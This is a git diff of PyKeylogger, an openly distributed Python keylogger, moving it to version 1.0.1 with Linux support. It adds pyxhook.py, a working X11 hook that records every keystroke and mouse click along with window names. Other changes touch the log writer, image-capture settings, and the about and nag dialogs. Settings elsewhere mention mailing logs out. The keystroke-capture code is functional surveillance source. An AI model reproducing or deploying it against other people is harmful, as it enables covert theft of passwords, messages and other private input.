+ # PROCESS_QUERY_INFORMATION (0x0400) or PROCESS_VM_READ (0x0010) or PROCESS_ALL_ACCESS (0x1F0FFF)
+
+ mypyproc = win32api.OpenProcess(win32con.PROCESS_ALL_ACCESS, False, procpid)
+ procname = win32process.GetModuleFileNameEx(mypyproc, 0)
+ return procname
+ except:
+ #self.logger.error("Failed to get process info from hwnd.", exc_info=sys.exc_info())
+ # this happens frequently enough - when the last event caused the closure of the window or program
+ # so we just return a nice string and don't worry about it.
+ return "noprocname"
+ elif os.name == 'posix':
+ return str(event.WindowProcName)
def cancel(self):
'''To exit cleanly, flush all write buffers, and stop all running timers.
@@ -585,34 +598,51 @@ class LogWriter(threading.Thread):
self.WriteToLogFile()
self.FlushLogWriteBuffers("Flushing buffers prior to exiting")
logging.shutdown()
- self.flushtimer.cancel()
+ self.flushtimer.cancel()
self.logrotatetimer.cancel()
if self.settings['E-mail']['SMTP Send Email'] == True:
self.emailtimer.cancel()
if self.settings['Log Maintenance']['Delete Old Logs'] == True:
self.oldlogtimer.cancel()
- #~ if self.settings['Timestamp']['Timestamp Enable'] == True:
- #~ self.timestamptimer.cancel()
if self.settings['Zip']['Zip Enable'] == True:
self.ziptimer.cancel()
-
-
+
if __name__ == '__main__':
#some testing code
#put a real existing hwnd into event.Window to run test
- #this testing code is now really outdated and useless.
- lw = LogWriter()
- class Blank:
- pass
- event = Blank()
- event.Window = 264854
- event.WindowName = "Untitled - Notepad"
- event.Ascii = 65
- event.Key = 'A'
- options = Blank()
- options.parseBackspace = options.parseEscape = options.addLineFeed = options.debug = False
- options.flushKey = 'F11'
- lw.WriteToLogFile(event, options)
+ #this testing code is incomplete (no events)
+
+ class CmdOptions:
+ def __init__(self, debug):
+ self.debug = debug
+
+ settings={}
+ settings['E-mail'] = {'SMTP Send Email':False}
+ settings['Log Maintenance'] = {'Delete Old Logs':False,'Flush Interval':1000,'Log Rotation Interval':4,'Delete Old Logs':False}
+ settings['Zip'] = {'Zip Enable':False}
+ settings['General'] = {'Log Directory':'logs','System Log':'None','Log Key Count':True}
+
+ print settings['General']
+ print settings['General']['Log Directory']
+ q = Queue.Queue()
+
+ cmdoptions = CmdOptions(True)
+
+ lw = LogWriter(settings, cmdoptions, q)
+ lw.start()
+ time.sleep(5)
+ lw.cancel()
+ #~ class Blank:
+ #~ pass
+ #~ event = Blank()
+ #~ event.Window = 264854
+ #~ event.WindowName = "Untitled - Notepad"
+ #~ event.Ascii = 65
+ #~ event.Key = 'A'
+ #~ options = Blank()
+ #~ options.parseBackspace = options.parseEscape = options.addLineFeed = options.debug = False
+ #~ options.flushKey = 'F11'
+ #~ lw.WriteToLogFile(event, options)
diff --git a/make_all_dist.py b/make_all_dist.py
index afe82fd..07e7abb 100644
--- a/make_all_dist.py
+++ b/make_all_dist.py
@@ -85,6 +85,8 @@ if __name__ == '__main__':
print r'move ".\dist\pykeylogger-' + version.version + r'.zip" ".\pykeylogger-' + version.version + fname_addendum + '_src.zip"'
os.system(r'move ".\dist\pykeylogger-' + version.version + r'.zip" ".\pykeylogger-' + version.version + fname_addendum + '_src.zip"')
+ print r'del .\MANIFEST'
+ os.system(r'del .\MANIFEST')
print r'rd /S /Q dist'
os.system(r'rd /S /Q dist')
diff --git a/myutils.py b/myutils.py
index 183dd2c..fba6177 100644
--- a/myutils.py
+++ b/myutils.py
@@ -1,6 +1,7 @@
import zlib
import base64
import sys
+import os.path
import imp
def password_obfuscate(password):
@@ -8,23 +9,15 @@ def password_obfuscate(password):
def password_recover(password):
return zlib.decompress(base64.b64decode(password))
+# the following two functions are from the py2exe wiki:
+# http://www.py2exe.org/index.cgi/HowToDetermineIfRunningFromExe
def main_is_frozen():
return (hasattr(sys, "frozen") or # new py2exe
hasattr(sys, "importers") or # old py2exe
imp.is_frozen("__main__")) # tools/freeze
-
-#~ if __name__ == '__main__':
- #some test code here.
- #~ def hello(name="bla"):
- #~ print "hello, ", name
-
- #~ myt = MyTimer(1.0, 5, hello, ["bob"])
- #~ myt.start()
- #~ time.sleep(4)
- #~ myt.cancel()
- #~ print "next timer"
- #~ myt = MyTimer(1.0, 0, hello, ["bob"])
- #~ myt.start()
- #~ time.sleep(6)
- #~ myt.cancel()
+def get_main_dir():
+ if main_is_frozen():
+ return os.path.dirname(sys.executable)
+ #return os.path.dirname(sys.argv[0])
+ return sys.path[0]
diff --git a/pykeylogger.ini b/pykeylogger.ini
index 1500255..7e6345d 100644
Binary files a/pykeylogger.ini and b/pykeylogger.ini differ
diff --git a/pykeylogger.val b/pykeylogger.val
index 379f214..6f88c46 100644
--- a/pykeylogger.val
+++ b/pykeylogger.val
@@ -8,7 +8,7 @@ Master Password = string(default="")
# default: C:\Temp\logdir
Log Directory Tooltip = string()
-Log Directory = string(max=64, default="C:\Temp\logdir")
+Log Directory = string(max=64, default="logs")
# default: True
Hook Keyboard Tooltip = string()
@@ -24,7 +24,7 @@ Parse Escape = boolean(default=False)
# default: F12
Control Key Tooltip = string()
-Control Key = string(default="Lcontrol;Rcontrol;F12")
+Control Key = string(default="F11;F12")
# default: None
Applications Not Logged Tooltip = string()
@@ -179,4 +179,18 @@ Flush Interval = float(min=10, default=120.0)
# default: 4.0
Log Rotation Interval Tooltip = string()
-Log Rotation Interval = float(min=0.016, default=4.0)
\ No newline at end of file
+Log Rotation Interval = float(min=0.016, default=4.0)
+
+[Image Capture]
+
+# default: True
+Capture Clicks Tooltip = string()
+Capture Clicks = boolean(default=True)
+
+# default: 150
+Capture Clicks Width Tooltip = string()
+Capture Clicks Width = integer(min=1, max=65534, default=150)
+
+# default: 150
+Capture Clicks Height Tooltip = string()
+Capture Clicks Height = integer(min=1, max=65534, default=150)
\ No newline at end of file
diff --git a/pyxhook.py b/pyxhook.py
new file mode 100644
index 0000000..1a95f1b
--- /dev/null
+++ b/pyxhook.py
@@ -0,0 +1,352 @@
+#!/usr/bin/python
+#
+# pyxhook -- an extension to emulate some of the PyHook library on linux.
+#
+# Copyright (C) 2008 Tim Alexander <dragonfyre13@gmail.com>
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
+#
+# Thanks to Alex Badea <vamposdecampos@gmail.com> for writing the Record
+# demo for the xlib libraries. It helped me immensely working with these
+# in this library.
+#
+# Thanks to the python-xlib team. This wouldn't have been possible without
+# your code.
+#
+# This requires:
+# at least python-xlib 1.4
+# xwindows must have the "record" extension present, and active.
+#
+# This file has now been somewhat extensively modified by
+# Daniel Folkinshteyn <nanotube@users.sf.net>
+# So if there are any bugs, they are probably my fault. :)
+
+import sys
+import os
+import re
+import time
+import threading
+import Image
+
+from Xlib import X, XK, display, error
+from Xlib.ext import record
+from Xlib.protocol import rq
+
+#######################################################################
+########################START CLASS DEF################################
+#######################################################################
+
+class HookManager(threading.Thread):
+ """This is the main class. Instantiate it, and you can hand it KeyDown and KeyUp (functions in your own code) which execute to parse the pyxhookkeyevent class that is returned.
+
+ This simply takes these two values for now:
+ KeyDown = The function to execute when a key is pressed, if it returns anything. It hands the function an argument that is the pyxhookkeyevent class.
+ KeyUp = The function to execute when a key is released, if it returns anything. It hands the function an argument that is the pyxhookkeyevent class.
+ """
+
+ def __init__(self):
+ threading.Thread.__init__(self)
+ self.finished = threading.Event()
+
+ # Give these some initial values
+ self.mouse_position_x = 0
+ self.mouse_position_y = 0
+ self.ison = {"shift":False, "caps":False}
+
+ # Compile our regex statements.
+ self.isshift = re.compile('^Shift')
+ self.iscaps = re.compile('^Caps_Lock')
+ self.shiftablechar = re.compile('^[a-z0-9]$|^minus$|^equal$|^bracketleft$|^bracketright$|^semicolon$|^backslash$|^apostrophe$|^comma$|^period$|^slash$|^grave$')
+ self.logrelease = re.compile('.*')
+ self.isspace = re.compile('^space$')
+
+ # Assign default function actions (do nothing).
+ self.KeyDown = lambda x: True
+ self.KeyUp = lambda x: True
+ self.MouseAllButtonsDown = lambda x: True
+ self.MouseAllButtonsUp = lambda x: True
+
+ self.contextEventMask = [0,2]
+
+ # Hook to our display.
+ self.local_dpy = display.Display()
+ self.record_dpy = display.Display()
+
+ def run(self):
+ # Check if the extension is present
+ if not self.record_dpy.has_extension("RECORD"):
+ print "RECORD extension not found"
+ sys.exit(1)
+ r = self.record_dpy.record_get_version(0, 0)
+ print "RECORD extension version %d.%d" % (r.major_version, r.minor_version)
+
+ # Create a recording context; we only want key and mouse events
+ self.ctx = self.record_dpy.record_create_context(
+ 0,
+ [record.AllClients],
+ [{
+ 'core_requests': (0, 0),
+ 'core_replies': (0, 0),
+ 'ext_requests': (0, 0, 0, 0),
+ 'ext_replies': (0, 0, 0, 0),
+ 'delivered_events': (0, 0),
+ 'device_events': tuple(self.contextEventMask), #(X.KeyPress, X.ButtonPress),
+ 'errors': (0, 0),
+ 'client_started': False,
+ 'client_died': False,
+ }])
+
+ # Enable the context; this only returns after a call to record_disable_context,
+ # while calling the callback function in the meantime
+ self.record_dpy.record_enable_context(self.ctx, self.processevents)
+ # Finally free the context
+ self.record_dpy.record_free_context(self.ctx)
+
+ def cancel(self):
+ self.finished.set()
+ self.local_dpy.record_disable_context(self.ctx)
+ self.local_dpy.flush()
+
+ def printevent(self, event):
+ print event
+
+ def HookKeyboard(self):
+ self.contextEventMask[0] = X.KeyPress
+
+ def HookMouse(self):
+ # need mouse motion to track pointer position, since ButtonPress events
+ # don't carry that info.
+ self.contextEventMask[1] = X.MotionNotify
+
+ def processevents(self, reply):
+ if reply.category != record.FromServer:
+ return
+ if reply.client_swapped:
+ print "* received swapped protocol data, cowardly ignored"
+ return
+ if not len(reply.data) or ord(reply.data[0]) < 2:
+ # not an event
+ return
+ data = reply.data
+ while len(data):
+ event, data = rq.EventField(None).parse_binary_value(data, self.record_dpy.display, None, None)
+ if event.type == X.KeyPress:
+ hookevent = self.keypressevent(event)
+ self.KeyDown(hookevent)
+ elif event.type == X.KeyRelease:
+ hookevent = self.keyreleaseevent(event)
+ self.KeyUp(hookevent)
+ elif event.type == X.ButtonPress:
+ hookevent = self.buttonpressevent(event)
+ self.MouseAllButtonsDown(hookevent)
+ elif event.type == X.ButtonRelease:
+ hookevent = self.buttonreleaseevent(event)
+ self.MouseAllButtonsUp(hookevent)
+ elif event.type == X.MotionNotify:
+ # use mouse moves to record mouse position, since press and release events
+ # do not give mouse position info (event.root_x and event.root_y have
+ # bogus info).
+ self.mousemoveevent(event)
+
+ #print "processing events...", event.type
+
+ def keypressevent(self, event):
+ matchto = self.lookup_keysym(self.local_dpy.keycode_to_keysym(event.detail, 0))
+ if self.shiftablechar.match(self.lookup_keysym(self.local_dpy.keycode_to_keysym(event.detail, 0))): ## This is a character that can be typed.
+ if self.ison["shift"] == False:
+ keysym = self.local_dpy.keycode_to_keysym(event.detail, 0)
+ return self.makekeyhookevent(keysym, event)
+ else:
+ keysym = self.local_dpy.keycode_to_keysym(event.detail, 1)
+ return self.makekeyhookevent(keysym, event)
+ else: ## Not a typable character.
+ keysym = self.local_dpy.keycode_to_keysym(event.detail, 0)
+ if self.isshift.match(matchto):
+ self.ison["shift"] = self.ison["shift"] + 1
+ elif self.iscaps.match(matchto):
+ if self.ison["caps"] == False:
+ self.ison["shift"] = self.ison["shift"] + 1
+ self.ison["caps"] = True
+ if self.ison["caps"] == True:
+ self.ison["shift"] = self.ison["shift"] - 1
+ self.ison["caps"] = False
+ return self.makekeyhookevent(keysym, event)
+
+ def keyreleaseevent(self, event):
+ if self.shiftablechar.match(self.lookup_keysym(self.local_dpy.keycode_to_keysym(event.detail, 0))):
+ if self.ison["shift"] == False:
+ keysym = self.local_dpy.keycode_to_keysym(event.detail, 0)
+ else:
+ keysym = self.local_dpy.keycode_to_keysym(event.detail, 1)
+ else:
+ keysym = self.local_dpy.keycode_to_keysym(event.detail, 0)
+ matchto = self.lookup_keysym(keysym)
+ if self.isshift.match(matchto):
+ self.ison["shift"] = self.ison["shift"] - 1
+ return self.makekeyhookevent(keysym, event)
+
+ def buttonpressevent(self, event):
+ #self.clickx = self.rootx
+ #self.clicky = self.rooty
+ return self.makemousehookevent(event)
+
+ def buttonreleaseevent(self, event):
+ #if (self.clickx == self.rootx) and (self.clicky == self.rooty):
+ ##print "ButtonClick " + str(event.detail) + " x=" + str(self.rootx) + " y=" + str(self.rooty)
+ #if (event.detail == 1) or (event.detail == 2) or (event.detail == 3):
+ #self.captureclick()
+ #else:
+ #pass
+
+ return self.makemousehookevent(event)
+
+ # sys.stdout.write("ButtonDown " + str(event.detail) + " x=" + str(self.clickx) + " y=" + str(self.clicky) + "\n")
+ # sys.stdout.write("ButtonUp " + str(event.detail) + " x=" + str(self.rootx) + " y=" + str(self.rooty) + "\n")
+ #sys.stdout.flush()
+
+ def mousemoveevent(self, event):
+ self.mouse_position_x = event.root_x
+ self.mouse_position_y = event.root_y
+
+ # need the following because XK.keysym_to_string() only does printable chars
+ # rather than being the correct inverse of XK.string_to_keysym()
+ def lookup_keysym(self, keysym):
+ for name in dir(XK):
+ if name.startswith("XK_") and getattr(XK, name) == keysym:
+ return name.lstrip("XK_")
+ return "[%d]" % keysym
+
+ def asciivalue(self, keysym):
+ asciinum = XK.string_to_keysym(self.lookup_keysym(keysym))
+ if asciinum < 256:
+ return asciinum
+ else:
+ return 0
+
+ def makekeyhookevent(self, keysym, event):
+ storewm = self.xwindowinfo()
+ if event.type == X.KeyPress:
+ MessageName = "key down"
+ elif event.type == X.KeyRelease:
+ MessageName = "key up"
+ return pyxhookkeyevent(storewm["handle"], storewm["name"], storewm["class"], self.lookup_keysym(keysym), self.asciivalue(keysym), False, event.detail, MessageName)
+
+ def makemousehookevent(self, event):
+ storewm = self.xwindowinfo()
+ if event.detail == 1:
+ MessageName = "mouse left "
+ elif event.detail == 3:
+ MessageName = "mouse right "
+ elif event.detail == 2:
+ MessageName = "mouse middle "
+ elif event.detail == 5:
+ MessageName = "mouse wheel down "
+ elif event.detail == 4:
+ MessageName = "mouse wheel up "
+ else:
+ MessageName = "mouse " + str(event.detail) + " "
+
+ if event.type == X.ButtonPress:
+ MessageName = MessageName + "down"
+ elif event.type == X.ButtonRelease:
+ MessageName = MessageName + "up"
+ return pyxhookmouseevent(storewm["handle"], storewm["name"], storewm["class"], (self.mouse_position_x, self.mouse_position_y), MessageName)
+
+ def xwindowinfo(self):
+ try:
+ windowvar = self.local_dpy.get_input_focus().focus
+ wmname = windowvar.get_wm_name()
+ wmclass = windowvar.get_wm_class()
+ wmhandle = str(windowvar)[20:30]
+ except:
+ ## This is to keep things running smoothly. It almost never happens, but still...
+ return {"name":None, "class":None, "handle":None}
+ if (wmname == None) and (wmclass == None):
+ try:
+ windowvar = windowvar.query_tree().parent
+ wmname = windowvar.get_wm_name()
+ wmclass = windowvar.get_wm_class()
+ wmhandle = str(windowvar)[20:30]
+ except:
+ ## This is to keep things running smoothly. It almost never happens, but still...
+ return {"name":None, "class":None, "handle":None}
+ if wmclass == None:
+ return {"name":wmname, "class":wmclass, "handle":wmhandle}
+ else:
+ return {"name":wmname, "class":wmclass[0], "handle":wmhandle}
+
+class pyxhookkeyevent:
+ """This is the class that is returned with each key event.f
+ It simply creates the variables below in the class.
+
+ Window = The handle of the window.
+ WindowName = The name of the window.
+ WindowProcName = The backend process for the window.
+ Key = The key pressed, shifted to the correct caps value.
+ Ascii = An ascii representation of the key. It returns 0 if the ascii value is not between 31 and 256.
+ KeyID = This is just False for now. Under windows, it is the Virtual Key Code, but that's a windows-only thing.
+ ScanCode = Please don't use this. It differs for pretty much every type of keyboard. X11 abstracts this information anyway.
+ MessageName = "key down", "key up".
+ """
+
+ def __init__(self, Window, WindowName, WindowProcName, Key, Ascii, KeyID, ScanCode, MessageName):
+ self.Window = Window
+ self.WindowName = WindowName
+ self.WindowProcName = WindowProcName
+ self.Key = Key
+ self.Ascii = Ascii
+ self.KeyID = KeyID
+ self.ScanCode = ScanCode
+ self.MessageName = MessageName
+
+ def __str__(self):
+ return "Window Handle: " + str(self.Window) + "\nWindow Name: " + str(self.WindowName) + "\nWindow's Process Name: " + str(self.WindowProcName) + "\nKey Pressed: " + str(self.Key) + "\nAscii Value: " + str(self.Ascii) + "\nKeyID: " + str(self.KeyID) + "\nScanCode: " + str(self.ScanCode) + "\nMessageName: " + str(self.MessageName) + "\n"
+
+class pyxhookmouseevent:
+ """This is the class that is returned with each key event.f
+ It simply creates the variables below in the class.
+
+ Window = The handle of the window.
+ WindowName = The name of the window.
+ WindowProcName = The backend process for the window.
+ Position = 2-tuple (x,y) coordinates of the mouse click
+ MessageName = "mouse left|right|middle down", "mouse left|right|middle up".
+ """
+
+ def __init__(self, Window, WindowName, WindowProcName, Position, MessageName):
+ self.Window = Window
+ self.WindowName = WindowName
+ self.WindowProcName = WindowProcName
+ self.Position = Position
+ self.MessageName = MessageName
+
+ def __str__(self):
+ return "Window: " + str(self.Window) + "\nWindow Handle: " + str(self.WindowName) + "\nWindow's Process Name: " + str(self.WindowProcName) + "\nPosition: " + str(self.Position) + "\nMessageName: " + str(self.MessageName) + "\n"
+
+#######################################################################
+#########################END CLASS DEF#################################
+#######################################################################
+
+if __name__ == '__main__':
+ hm = HookManager()
+ hm.HookKeyboard()
+ hm.HookMouse()
+ hm.KeyDown = hm.printevent
+ hm.KeyUp = hm.printevent
+ hm.MouseAllButtonsDown = hm.printevent
+ hm.MouseAllButtonsUp = hm.printevent
+ hm.start()
+ time.sleep(10)
+ hm.cancel()
diff --git a/setup.py b/setup.py
index c1ff535..42ea444 100644
--- a/setup.py
+++ b/setup.py
@@ -23,7 +23,12 @@ setup(
author = version.author,
author_email = version.author_email,
platforms = [version.platform],
-
+
+ # the following doesn't work - for some reason bundling everything into one exe
+ # causes the program to crash out on start.
+ #~ options = {'py2exe': {'bundle_files': 1}},
+ #~ zipfile = None,
+
data_files = [("",["pykeylogger.ini",
"pykeylogger.val",
"CHANGELOG.TXT",
@@ -45,4 +50,3 @@ setup(
}
],
)
-
diff --git a/supportscreen.py b/supportscreen.py
index d943264..64b0153 100644
--- a/supportscreen.py
+++ b/supportscreen.py
@@ -2,6 +2,7 @@ from Tkinter import *
import webbrowser
import mytkSimpleDialog
import ScrolledText
+import version
class SupportScreen(mytkSimpleDialog.Dialog):
def __init__(self, parent, title = None, rootx_offset=50, rooty_offset=50):
@@ -9,6 +10,7 @@ class SupportScreen(mytkSimpleDialog.Dialog):
def body(self, master):
self.t = ScrolledText.ScrolledText(master)
+ self.t['font'] = 'arial 10'
self.t.pack()
self.t.tag_configure("href", foreground='blue', underline=1)
self.t.tag_bind("href", "<Button-1>", self.openHREF)
@@ -32,8 +34,8 @@ link very informative: ")
self.t.insert(END, "http://pykeylogger.wiki.sourceforge.net/Download_Instructions", "href")
self.t.insert(END, " and you will get a binary build of PyKeylogger without any nagging, \
by E-mail, HTTP, or FTP.")
- self.t.insert(END, "\n\n 2. Get the source code, then find and toggle the nag control. You can then run \
-PyKeylogger from source, or even build your own executable, by following the instructions at ")
+ self.t.insert(END, "\n\n 2. Get the project source code, the supporting libraries, then find and toggle the nag control. You can then run \
+PyKeylogger from source, or even build your own executable. Detailed instructions for this approach are available at ")
self.t.insert(END, "http://pykeylogger.wiki.sourceforge.net/Installation_Instructions", "href")
self.t.insert(END, "\n\nFinally, I encourage you to use this software responsibly, keeping to the law and your own moral code.")
self.t.config(state=DISABLED)
@@ -72,6 +74,7 @@ class ExpirationScreen(mytkSimpleDialog.Dialog):
def body(self, master):
self.t = ScrolledText.ScrolledText(master)
+ self.t['font'] = 'arial 10'
self.t.pack()
self.t.tag_configure("href", foreground='blue', underline=1)
self.t.tag_bind("href", "<Button-1>", self.openHREF)
@@ -86,8 +89,8 @@ to restore PyKeylogger's functionality: \n\n 1. Donate to PyKeylogger by followi
self.t.insert(END, "http://pykeylogger.wiki.sourceforge.net/Download_Instructions", "href")
self.t.insert(END, " and you will get a binary build of PyKeylogger without any nagscreens or expiration, \
by E-mail, HTTP, or FTP.")
- self.t.insert(END, "\n\n 2. Get the source code, then find and toggle the nag control. You can then run \
-PyKeylogger from source, or even build your own executable, by following the instructions at ")
+ self.t.insert(END, "\n\n 2. Get the project source code, the supporting libraries, then find and toggle the nag control. You can then run \
+PyKeylogger from source, or even build your own executable. Detailed instructions for this approach are available at ")
self.t.insert(END, "http://pykeylogger.wiki.sourceforge.net/Installation_Instructions", "href")
self.t.insert(END, "\n\nIf you run into any trouble, feel free to ask for help on the PyKeylogger forums: ")
self.t.insert(END, "http://sourceforge.net/forum/?group_id=147501", "href")
@@ -120,14 +123,95 @@ PyKeylogger from source, or even build your own executable, by following the ins
#print "Going to %s..." % t.get(start, end)
webbrowser.open(self.t.get(start, end))
+class AboutDialog(mytkSimpleDialog.Dialog):
+ def __init__(self, parent, title = None, rootx_offset=50, rooty_offset=50):
+ mytkSimpleDialog.Dialog.__init__(self, parent, title, rootx_offset, rooty_offset)
+
+ def body(self, master):
+ self.t = ScrolledText.ScrolledText(master)
+ self.t['font'] = 'arial 10'
+ self.t.pack()
+ self.t.tag_configure("href", foreground='blue', underline=1)
+ self.t.tag_configure("h1", foreground='black', underline=1, font=('Arial', 16, 'bold'))
+ self.t.tag_configure("h2", foreground='black', underline=0, font=('Arial', 14, 'bold'))
+ self.t.tag_configure("h3", foreground='#33CCCC', underline=0, font=('Arial', 10, 'bold'))
+ self.t.tag_configure("emph", foreground='black', underline=0, font=('Arial', 10, 'italic'))
+ self.t.tag_bind("href", "<Button-1>", self.openHREF)
+ self.t.tag_bind("href", "<Enter>", self.show_hand_cursor)
+ self.t.tag_bind("href", "<Leave>", self.show_arrow_cursor)
+ self.t.config(cursor="arrow", bg="white", wrap=WORD)
+ self.t.insert(END, "PyKeylogger - Simple Python Keylogger", "h1")
+ self.t.insert(END, "\nVersion " + version.version + "\n")
+ self.t.insert(END," by " + version.author + " <" + version.author_email + ">", "emph")
+ self.t.insert(END, "\n\nLicense: " + version.license + ", ")
+ self.t.insert(END, "http://www.gnu.org/copyleft/gpl.html", "href")
+ self.t.insert(END, "\n\nProject site: ")
+ self.t.insert(END, version.url, "href")
+ self.t.insert(END, "\n\nContributors", "h2")
+ self.t.insert(END, "\n\nTim Alexander <dragonfyre13@gmail.com>", "h3")
+ self.t.insert(END, "\nThe initial implementation of event hooking and image capture on click under GNU/Linux, using the python-xlib library.")
+ self.t.insert(END, "\n\nSupporting Libraries:", "h2")
+ self.t.insert(END, "\n\nPython, ")
+ self.t.insert(END, "http://www.python.org", "href")
+ self.t.insert(END, "\nPython Imaging Library (PIL), ")
+ self.t.insert(END, "http://www.pythonware.com/products/pil/", "href")
+ self.t.insert(END, "\npy2exe, ")
+ self.t.insert(END, "http://www.py2exe.org/", "href")
+ self.t.insert(END, "\nConfigObj, ")
+ self.t.insert(END, "http://www.voidspace.org.uk/python/configobj.html", "href")
+ self.t.insert(END, "\nPyHook, ")
+ self.t.insert(END, "http://sourceforge.net/projects/uncassist", "href")
+ self.t.insert(END, "\nPython for Windows Extensions (PyWin32), ")
+ self.t.insert(END, "http://sourceforge.net/projects/pywin32/", "href")
+ self.t.insert(END, "\npython-xlib, ")
+ self.t.insert(END, "http://python-xlib.sourceforge.net/", "href")
+ self.t.insert(END, "\n\nA big thank you goes out to all of the people behind these numerous software packages that make PyKeylogger possible!")
+
+ self.t.config(state=DISABLED)
+
+ def show_hand_cursor(self, event):
+ self.t.config(cursor="hand2")
+
+ def show_arrow_cursor(self, event):
+ self.t.config(cursor="arrow")
+
+ def buttonbox(self):
+ # add standard button box. override if you don't want the
+ # standard buttons
+
+ box = Frame(self)
+
+ #w = Button(box, text="OK", width=10, command=self.ok, default=ACTIVE)
+ #w.pack(side=LEFT, padx=5, pady=5)
+ w = Button(box, text="Continue", width=10, command=self.cancel, default=ACTIVE)
+ w.pack(side=LEFT, padx=5, pady=5)
+
+ self.bind("<Return>", self.cancel)
+ self.bind("<Escape>", self.cancel)
+
+ box.pack()
+
+ def openHREF(self, event):
+ start, end = self.t.tag_prevrange("href", self.t.index("@%s,%s" % (event.x, event.y)))
+ #print "Going to %s..." % t.get(start, end)
+ webbrowser.open(self.t.get(start, end))
+
+
if __name__ == '__main__':
# test code
root=Tk()
root.geometry("100x100+200+200")
warn=SupportScreen(root, title="Please Support PyKeylogger", rootx_offset=-20, rooty_offset=-35)
root.quit()
+ root.destroy()
root=Tk()
root.geometry("100x100+200+200")
warn=ExpirationScreen(root, title="PyKeylogger Has Expired", rootx_offset=-20, rooty_offset=-35)
- root.quit()
\ No newline at end of file
+ root.quit()
+ root.destroy()
+
+ root=Tk()
+ root.geometry("100x100+200+200")
+ warn=AboutDialog(root, title="About PyKeylogger", rootx_offset=-20, rooty_offset=-35)
+ root.quit()
diff --git a/tooltip.py b/tooltip.py
index 8030fcf..f6ddbbe 100644
--- a/tooltip.py
+++ b/tooltip.py
@@ -45,7 +45,7 @@ class ToolTip:
self._opts = {'anchor':'center', 'bd':1, 'bg':'lightyellow', 'delay':delay, 'fg':'black',\
'follow_mouse':0, 'font':None, 'justify':'left', 'padx':4, 'pady':2,\
'relief':'solid', 'state':'normal', 'text':text, 'textvariable':None,\
- 'width':0, 'wraplength':300}
+ 'width':0, 'wraplength':400}
self.configure(**opts)
self._tipwindow = None
self._id = None
@@ -165,4 +165,4 @@ def demo():
root.mainloop()
if __name__ == '__main__':
- demo()
\ No newline at end of file
+ demo()
diff --git a/version.py b/version.py
index 9c221ce..591eb5c 100644
--- a/version.py
+++ b/version.py
@@ -1,9 +1,9 @@
name = "pykeylogger"
-version = "0.9.5"
-description = "Simple Python Keylogger for Windows"
+version = "1.0.1"
+description = "Simple Python Keylogger"
url = "http://pykeylogger.sourceforge.net"
license = "GPL"
-author = "Nanotube"
+author = "Daniel Folkinshteyn"
author_email = "nanotube@users.sf.net"
-platform = "Windows NT/2000/XP"
\ No newline at end of file
+platform = "Windows NT/2000/XP/Vista, Linux"
\ No newline at end of file